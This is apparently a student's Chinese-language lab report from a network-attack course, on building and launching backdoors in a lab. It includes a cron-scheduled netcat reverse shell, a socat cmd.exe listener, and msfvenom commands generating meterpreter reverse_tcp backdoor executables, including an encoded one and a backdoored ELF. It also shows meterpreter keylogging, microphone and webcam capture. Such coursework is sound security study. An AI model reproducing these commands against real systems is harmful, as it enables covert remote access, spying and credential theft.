20165214 2018-2019-2 《網絡對抗技術》Exp2 後門原理與實踐 Week4

《網絡對抗技術》Exp2 PC平臺逆向破解之「MAL_簡單後門」 Week4

1、實驗內容

本次實驗對象爲名爲pwn1的pwn1的linux可執行文件。程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。linux

該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。web

實驗分爲五部分:shell

  • 一、使用netcat獲取主機操做Shell,cron啓動 ;windows

  • 二、使用socat獲取主機操做Shell, 任務計劃啓動 ;安全

  • 三、使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell;網絡

  • 四、使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權;tcp

  • 五、可選加份內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell。編輯器

2、實驗步驟

步驟一:使用netcat獲取主機操做Shell,cron啓動

  • 一、在本機的Windows下載netcat後,雙擊運行。打開命終端,輸入ncat.exe -l -p 5214,對5214號端口進行監聽。
    函數

  • 二、在kali虛擬機中打開終端,輸入crontab -e來添加一條定時任務,其中-e表示編輯。第一次編輯時會提示選擇編輯器,選擇3。在最後一行加入39 * * * * /bin/netcat 172.20.10.4 5214 -e /bin/sh(ip地址爲正在監聽的windows 的ip),保存並退出。這樣,系統在每一個小時的52分鐘都會執行該指令。學習

  • 三、等待系統的39分到達後,能夠看到已經鏈接上了。在Winodws的命令行中輸入ls,能夠看到linux當前目錄下的文件。

步驟二:使用socat獲取主機操做Shell, 任務計劃啓動

  • 一、在Wiondws中搜索任務計劃,在彈出的窗口點擊建立任務,填寫任務名,在任務欄下選擇socat.exe的路徑,而後在參數欄填寫tcp-listen:5214 exec:cmd.exe,pty,stderr後,點擊肯定。在列表中右鍵選中剛剛建立的任務,點擊運行。

  • 二、在linux的終端輸入socat - tcp:192.168.199.235:5214(這裏說明一下,個人實驗並非一次性完成了,中間換了一些網絡鏈接,因此IP地址發生了變化)

  • 三、進行調試。因爲編碼方式不一樣,因此咱們只能在命令行中對英文名字的文件進行操做。進入E盤的XAMMP目錄:

步驟三:使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

  • 一、在linux中輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=5214 -f exe > meter_backdoor.exe(這裏老師給的指導裏頭有一個地方打錯了,就是LPORT打成了'PORT)生成BackdoorOf5214.exe。

  • 二、在linux下輸入msfconsole進入控制模式

  • 三、輸入use exploit/multi/handler

  • 四、輸入set payload windows/meterpreter/reverse_tcp

  • 六、輸入show options進行查看

  • 七、輸入set LHOST 192.168.110.129

  • 八、輸入set LPORT 5214

  • 九、輸入show options再次進行查看,能夠看到相應的ip地址和端口號已經變成我所設置的。

  • 十、輸入exploit

  • 十一、把BackdoorOf5214.exe發送主機上(預先關閉防火牆),而後雙擊打開,成功鏈接上:

  • 十二、輸入dir進行查看

步驟四:使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

在第三步的基礎上來實現如下功能

  • 一、輸入record_mic錄音

  • 二、輸入keyscan_start開始記錄鍵盤輸入,再輸入keyscan_dump查看

  • 三、輸入webcam_snap拍照

  • 四、輸入webcam_stream攝像

步驟五:可選加份內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell

剛看到這個題目的時候首先冷靜一下,從哪裏入手呢?仔細回想,在老師給的實驗指導書中,在剛提到meterpreter的時候:

msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
-p 使用的payload。payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode

也就是說,咱們是否能夠改編這條命令來實現咱們想要的功能呢?試一試。
首先,-p參數是有效載荷。後面跟的是windows。咱們的pwn1是隻能在linux下運行的,因此這個地方確定要改;接着再日後看,-x是指定模板。咱們要生成跟pwn1功能同樣的、可是有後門的代碼,因此模板修改成pwn1;再日後,-e問題不大,由於咱們確實是要用x86來解決問題,x86後面一串看不懂,先無論,繼續日後;-i,-b應該沒問題,先無論;ip和端口分別修改爲kali的ip和5214;-f是文件類型。linux中可執行文件類型是不能直接看到的,在命令行輸入file pwn1,得知類型是elf,因此這個地方也要修改,最後輸出的文件形式也要跟着修改。因而我進行第一次修改

  • 一、修改ip地址和端口
  • 二、將windows改爲linux,回車確認
  • 三、exe改爲elf,最後生成的文件改爲pwn2
    修改完畢後回車,報錯:

發現是類型不對。上網搜一下「msf的載荷類型」,能夠知道在-p的後面應當是linux/x86......,修改後再回車,此次沒報錯。

接下來進行測試。爲了方便,我直接kali對kali進行測試。先按步驟三的過程進行監聽,而後運行pwn2,發現鏈接上了,實驗成功。

3、遇到的問題

  • 一、在第一個任務中的修改crontab中,提示crontab的規則不正確

  • 解決方法:首先是反覆查看輸入的代碼,沒發現錯誤。因而上網查找,後來發現是數字後面的四個*中間是有空格的。加入空格後解決了問題。

  • 二、前幾天還能夠上網,今天突然上不了網。

  • 解決方法:輸入ifconfig -a,查看網卡的狀態,發現eth0網卡罷工了。進入/etc/network/interfaces,在最後加入auto eth0iface eth0 inet dchp後重啓網絡,解決了問題。

  • 三、本次實驗我還遇到了一個問題,最讓我高興的也是解決了這個問題:第三步在同一臺計算機上虛擬機和本機鏈接是能夠成功的;若是使用兩臺計算機的話(A是kali,B是另外一電腦),在B雙擊後門程序是鏈接不上A的。

  • 解決方法:經過仔細觀察,我發現本機鏈接的話,所顯示的鏈接地址是VMnet8的地址,也就是NAT模式的地址。我嘗試着在本機上把VMnet8的適配器給關閉了,而後再雙擊打開後門程序,這時候就沒法連上了。這不由引發了個人思考,我沒法在另一電腦B上鍊接是否是跟這有關呢?我嘗試着把虛擬機的網絡鏈接方法換成「橋接模式」,這時候再用B去鏈接A,成功了。

4、基礎問題問答

  • 一、例舉你能想到的一個後門進入到你係統中的可能方式?
  • 答:下載了盜版軟件,被植入後門;點擊了釣魚網站,被植入後門。
  • 二、例舉你知道的後門如何啓動起來(win及linux)的方式?
  • 答:win開機自啓動、用戶手動開啓。linux有實驗過程當中是利用了crontab來定時向攻擊方鏈接,使用反彈鏈接的方式。
  • 三、Meterpreter有哪些給你映像深入的功能?(作完實驗以後再回來答的這道題)
  • 答:攝像功能和鍵盤輸入功能。。攝像功能能夠知道用戶在幹什麼。鍵盤輸入功能從某種程度上能夠竊取用戶的信息,頗有可能在用戶輸入帳號、密碼時被記錄下來。
  • 四、如何發現本身有系統有沒有被安裝後門?
  • 答:安裝殺毒軟件,對電腦進行查殺。

5、心得體會

本次實驗更加貼近了咱們的生活,不由感到惶恐。。說不定之前個人電腦已經被入侵過無數回了,只是本身一直不知道而已。而這些內容在世界上知道的人也是少數。看來信息安全確實很重要。。掌握了攻擊的方法無異於掌握了一個強大的武器,厲害的話能夠來去無蹤,儼然網絡神偷。

相關文章
相關標籤/搜索